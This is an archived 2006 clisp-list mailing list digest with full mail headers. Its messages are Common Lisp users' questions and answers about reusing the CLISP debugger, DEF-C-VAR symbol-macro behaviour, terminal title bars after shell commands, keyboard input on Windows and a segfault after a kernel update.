CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 17 Apr 2006 19:00:02 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 17 Apr 2006 19:00:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 13 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Help to re-use clisp's debugger Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 17 10:01:05 2006 X-Original-Date: Mon, 17 Apr 2006 16:55:53 +0000 (UTC) Hi, I develop a TwinLisp ( http://twinlisp.nongnu.org/ ). TwinLisp is a "common" syntax on top of CLisp plus some libraries. Currently, I want to add a use of debugger in the TL's interpreter. The shortest way is to use CLisp's function(s), modified a bit, so that debugger will accespt input in TL's syntax. Can you point me at which function is invoked at repl in CLisp, and where can I find it's source code. If it is straight forward, can you tell me how to make debugger use read(translate(...)) function instead of just read()-ing from a console. Thank you in advance. From pjb@informatimago.com Mon Apr 17 10:42:48 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVXkN-0004sa-R0 for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 10:42:47 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FVXkM-0001dK-Bq for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 10:42:47 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id BD3EE586B9; Mon, 17 Apr 2006 19:42:36 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2F13F586B3; Mon, 17 Apr 2006 19:42:33 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 17F89851C; Mon, 17 Apr 2006 19:42:33 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17475.54153.20891.540558@thalassa.informatimago.com> To: Mikalai Birukou Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Help to re-use clisp's debugger In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 17 10:43:07 2006 X-Original-Date: Mon, 17 Apr 2006 19:42:33 +0200 Mikalai Birukou writes: > Hi, > > I develop a TwinLisp ( http://twinlisp.nongnu.org/ ). TwinLisp is a "common" > syntax on top of CLisp plus some libraries. Currently, I want to add a use of > debugger in the TL's interpreter. The shortest way is to use CLisp's > function(s), modified a bit, so that debugger will accespt input in TL's syntax. > > Can you point me at which function is invoked at repl in CLisp, and where can I > find it's source code. If it is straight forward, can you tell me how to make > debugger use read(translate(...)) function instead of just read()-ing from a > console. src/debug.d Have a look at: SYS::READ-FORM, perhaps. -- __Pascal Bourguignon__ http://www.informatimago.com/ "Do not adjust your mind, there is a fault in reality" -- on a wall many years ago in Oxford. From r.ford@cox.net Mon Apr 17 11:24:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVYOG-0000xg-2X for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 11:24:00 -0700 Received: from fed1rmmtao01.cox.net ([68.230.241.38]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FVYOA-0003HN-PK for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 11:24:00 -0700 Received: from dhcppc2.linux.fordnet ([68.2.97.177]) by fed1rmmtao01.cox.net (InterMail vM.6.01.06.01 201-2131-130-101-20060113) with ESMTP id <20060417182342.RLTG24981.fed1rmmtao01.cox.net@dhcppc2.linux.fordnet> for ; Mon, 17 Apr 2006 14:23:42 -0400 Received: from komodo.nti-telecom.com (localhost.localdomain [127.0.0.1]) by dhcppc2.linux.fordnet (Postfix) with ESMTP id C91783F77D for ; Mon, 17 Apr 2006 11:23:41 -0700 (MST) To: clisp-list@lists.sourceforge.net References: <20060416031938.8E49912ABE@sc8-sf-spam2.sourceforge.net> Message-ID: From: "Roderick Ford" Content-Type: text/plain; format=flowed; delsp=yes; charset=utf-8 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit In-Reply-To: <20060416031938.8E49912ABE@sc8-sf-spam2.sourceforge.net> User-Agent: Opera M2/8.50 (Linux, build 1358) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] title bar change after shell command Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 17 11:25:02 2006 X-Original-Date: Mon, 17 Apr 2006 11:23:41 -0700 Does anyone know what causes or what could prevent the following: Upon a call to (run-shell-command "ssh elsewhere") from an interactive session, the title bar changes to the user@elsewhere. Upon returning from the call, the title bar of the window does not change back to the current user@localmachinename. Also, could someone tell me how to background a shell-command in an interactive session? Thanks, Rod From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 18 07:07:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVqrg-0008C8-Dz for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:07:36 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FVqrf-0000PL-Sl for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:07:36 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 18 Apr 2006 16:07:25 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YTFX8BJ>; Tue, 18 Apr 2006 16:07:25 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: nswart@zoominternet.net Subject: Re: [clisp-list] Post 2.33 CLISP behaviour and FFI MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 18 07:08:15 2006 X-Original-Date: Tue, 18 Apr 2006 16:07:20 +0200 Nico wrote: >I posted before on this list on the same subject. However, I=20 >investigated some more after that. Thanks for taking the time to make a short example so I could look at = it. The parts relevant to the issue are >(def-c-var sequencetab and > (dolist (var '(sequencetab)) > (set var (read stream))))) IMHO this codes assumes undocumented behaviour of CLISP. DEF-C-VAR introduces a global symbol macro. Introducing a symbol macro = changes the interpretation of programs. E.g. the interpreter (and = compiler) will assign a new meaning to an occurrence of the form = SEQUENCETAB, and substitute the macro definition. However, using SET (aka SETF SYMBOL-VALUE) "bypasses" interpretation of = programs. It accesses the value cell of a symbol. Your program expects that cell to contain something related to the = interpretation of programs. But normally, such information is kept in = what's called the environment. >This 'works' with clisp 2.33. Indeed, on 2005-01-01 Bruno Haible introduced a change which made = global symbol macros orthogonal to symbol-value. Before that, the symbol macro definition where found in a symbol's = value cell. SET and SYMBOL-VALUE where special-cased so as to perform = the substitution. In effect they were doing part of the interpreter's = job. Since the change, the substitution is kept in the interpreter's (or = compiler's) environment -- where it arguably belongs. SYMBOL-VALUE is left untouched, and freely available. I don't know what motivated this change last year. Great (disappointing?) news, now let's return to your problem: >(defun load-seq (filename) > (with-open-file (stream filename :direction :input=20 > :if-does-not-exist :error) > (dolist (var '(sequencetab)) > (set var (read stream))))) >(load-seq "Mandseq-file") It looks like your functions "expects" to alter the interpretation of = the symbol SEQUENCETAB. This is a job of the interpreter (or = compiler), and SET or SYMBOL-VALUE will not manage to do so (anymore). So you need to modify the environment. Your initial example was: >(defmacro def-i/o (writer-name reader-name (&rest vars)) >(def-i/o save-seq load-seq (sequencetab)) Since you statically know the names of the variables involved, you can = have def-i/o generate the following snippet of code: ... (setq/setf sequencetab (read stream)) [As usual, use macroexpand-1 to test macro output.] Then the interpreter (and compiler) will do the right thing, since they = know (from their environment) that sequencetab is a foreign variable. It's purely lexical, there's no need for SPECIAL declarations or = SYMBOL-VALUE. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 18 07:08:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVqsu-0008Kp-O3 for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:08:52 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FVqsu-0000of-75 for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:08:52 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 18 Apr 2006 16:08:46 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YTFX8KG>; Tue, 18 Apr 2006 16:08:45 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: denis.lorrain@cnsmd-lyon.fr Subject: Re: [clisp-list] PC AltGr Characters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 18 07:09:08 2006 X-Original-Date: Tue, 18 Apr 2006 16:08:39 +0200 [Sorry for the late reply] Denis Lorrain wrote: > I have recently started using CLISP on a Windows PC. > Could somebody tell me how one can TYPE, IN THE INTERPRETER >WINDOW, such characters as ># \ { [ | ^ @ ] } >On my french keyboard, these are typed with the key, or > combination. I'm sorry, I've no idea. Is this particular to CLISP or does every DOS = command line application pose problems? I can vaguely remember my wife's MS-window-98 office PC raise similar = problems. IIRC, the backslash \ was not easily available in a command = shell (bad for pathnames!), independently on CLISP. What version of MS-Windows are you using? I've experienced no such problems with MS-Windows-95, NT, 2k. Please be more specific in bug reports and problem inquiries. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 18 07:15:26 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVqzF-0000eA-KI for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:15:25 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FVqzE-00035c-1u for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:15:25 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 18 Apr 2006 16:15:17 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YTFX9SA>; Tue, 18 Apr 2006 16:15:17 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: mbirukou@rogers.com Subject: Re: [clisp-list] Help to re-use clisp's debugger MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 18 07:16:08 2006 X-Original-Date: Tue, 18 Apr 2006 16:15:05 +0200 Mikalai Birukoucan asks: >Can you tell me how to make >debugger use read(translate(...)) function instead of just >read()-ing from a console. Another idea than Pascal Bourguignon's may be to have *debugger-io*, *query-io* be changed to streams that perform this substitution on the original stream input. See ext:make-input-buffered-stream, or make-string-input-stream. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 18 07:25:11 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVr8g-0001iF-JD for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:25:10 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FVr8f-0002aB-2b for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 07:25:10 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 18 Apr 2006 16:25:01 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YTFYAPV>; Tue, 18 Apr 2006 16:25:00 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: r.ford@cox.net Subject: Re: [clisp-list] title bar change after shell command MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 18 07:26:03 2006 X-Original-Date: Tue, 18 Apr 2006 16:24:49 +0200 Roderick Ford asks: >Also, could someone tell me how to background a shell-command=20 >in an interactive session? RTFM. use the :wait keyword? >Upon a call to (run-shell-command "ssh elsewhere") from an=20 >interactive session, the title bar changes to the=20 >user@elsewhere. Upon returning from the call, the title bar=20 >of the window does not change back to the current=20 >user@localmachinename. No idea. Please file a bug report to clisp's bug tracker at sourceforge = if you have reasons to believe that CLISP is the cause. Since changing the title bar AFAIK requires sending special escape = sequences to the terminal, and clisp never(?) does so, this is good = reason to me that the bug is not on clisp's side. Each application is responsible for returning the terminal to a sane = mode (e.g. cooked mode) upon exit. That's why killing a program that = went to raw mode will leave your terminal in a weird state, not always = recoverable... :-( Regards, J=C3=B6rg H=C3=B6hle. From lisp-clisp-list@m.gmane.org Tue Apr 18 16:27:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVzbW-0001Ij-ET for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 16:27:30 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FVzbU-00021Z-V5 for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 16:27:30 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FVzbJ-0003hS-CY for clisp-list@lists.sourceforge.net; Wed, 19 Apr 2006 01:27:17 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 19 Apr 2006 01:27:17 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 19 Apr 2006 01:27:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 2 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Which file contains source for system::read-eval-print? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 18 16:28:05 2006 X-Original-Date: Tue, 18 Apr 2006 23:27:05 +0000 (UTC) Do you know which file contains source for system::read-eval-print ? Thank you in advance. From pjb@informatimago.com Tue Apr 18 17:13:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FW0Ja-0005x4-6T for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 17:13:02 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FW0JY-0005Lg-Ga for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2006 17:13:02 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6EFFF586A3; Wed, 19 Apr 2006 02:12:54 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 03C26585E6; Wed, 19 Apr 2006 02:12:52 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E20D58521; Wed, 19 Apr 2006 02:12:51 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17477.32899.875118.883616@thalassa.informatimago.com> To: Mikalai Birukou Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Which file contains source for system::read-eval-print? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 18 17:14:01 2006 X-Original-Date: Wed, 19 Apr 2006 02:12:51 +0200 Mikalai Birukou writes: > Do you know which file contains source for system::read-eval-print ? > Thank you in advance. I don't know, but it might be worthwhile to learn some more about basic unix commands, like grep and find. Alternatively, if you're rich, you can buy a MacOSX, and use MacOSX and Xcode indexing features. Try: find clisp-2.38 -type f -exec grep -in -e read.eval.print {} /dev/null \; -- __Pascal Bourguignon__ http://www.informatimago.com/ PLEASE NOTE: Some quantum physics theories suggest that when the consumer is not directly observing this product, it may cease to exist or will exist only in a vague and undetermined state. From don-sourceforge-xx@isis.cs3-inc.com Wed Apr 19 16:41:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWMI9-0002Ii-Cf for clisp-list@lists.sourceforge.net; Wed, 19 Apr 2006 16:41:01 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWMI9-0005yS-8T for clisp-list@lists.sourceforge.net; Wed, 19 Apr 2006 16:41:01 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id CD6981A818F; Wed, 19 Apr 2006 16:41:02 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17478.51854.769226.593209@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] incompatibility between old clisp and new OS ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 19 16:42:01 2006 X-Original-Date: Wed, 19 Apr 2006 16:41:02 -0700 I have a server running FC4 which recently rebooted and could no longer run my clisp server code. I reduced the problem to starting the image, doing (gc) and getting an incurable segfault. This server gets automatic FC4 updates, inc. the OS, but does not automatically reboot when it does. The recent reboot was to 2.6.16-1.2069_FC4, and I found that when I backed up to an earlier OS version the problem went away. I'm currently using the old OS and thinking I better fix this before the next reboot after the next OS version arrives. I'd be grateful for any advice on the subject of how to find and fix the problem other than to stop getting OS updates. I could, if necessary, reboot to the new OS to gain more info, but I do have an strace of one instance of the problem if that will help. I suppose this is unrelated to the .mem, purely a function of the lisp.run. In this case it's an old one, 2.31, but I don't have any reason to think a more recent one would behave any differently. From zellerin@gmail.com Thu Apr 20 00:04:49 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWTDd-0007vn-7u for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 00:04:49 -0700 Received: from pproxy.gmail.com ([64.233.166.179]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWTDd-0002fB-3a for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 00:04:49 -0700 Received: by pproxy.gmail.com with SMTP id i49so96047pye for ; Thu, 20 Apr 2006 00:04:48 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=bb7qlQGpenIwcF+0PiZDBBU4hKJb00EgEJ5MImu5s5ZINRIv0iHyIIcG6Of7g+tdVVoIqc3PgXOi9u+EfWPgYJISU7rXbqbNamgjQl1qLCwlzw2m51kkqC38Rg/FrQfcVR4sOYCWpGRrUpP2AMFuMi9sSo7Yi4V4diM8c8hi8i8= Received: by 10.35.109.2 with SMTP id l2mr419027pym; Wed, 19 Apr 2006 23:58:38 -0700 (PDT) Received: by 10.35.35.1 with HTTP; Wed, 19 Apr 2006 23:58:38 -0700 (PDT) Message-ID: From: "Tomas Zellerin" To: "Don Cohen" Subject: Re: [clisp-list] incompatibility between old clisp and new OS ? Cc: clisp-list@lists.sourceforge.net In-Reply-To: <17478.51854.769226.593209@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <17478.51854.769226.593209@isis.cs3-inc.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 20 00:05:11 2006 X-Original-Date: Thu, 20 Apr 2006 08:58:38 +0200 On 4/20/06, Don Cohen wrote: > (...) > I suppose this is unrelated to the .mem, purely a function of the > lisp.run. In this case it's an old one, 2.31, but I don't have any > reason to think a more recent one would behave any differently. I am running clisp-2.38 with kernel-2.6.16-1.2069_FC4.i586.rpm, so there may be a difference. And again, having many other factors unknown (module, how it was built, ...), maybe not. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 20 02:58:26 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWVve-0001tp-6a for clisp-list@lists.sourceforge.net; Thu, 20 Apr 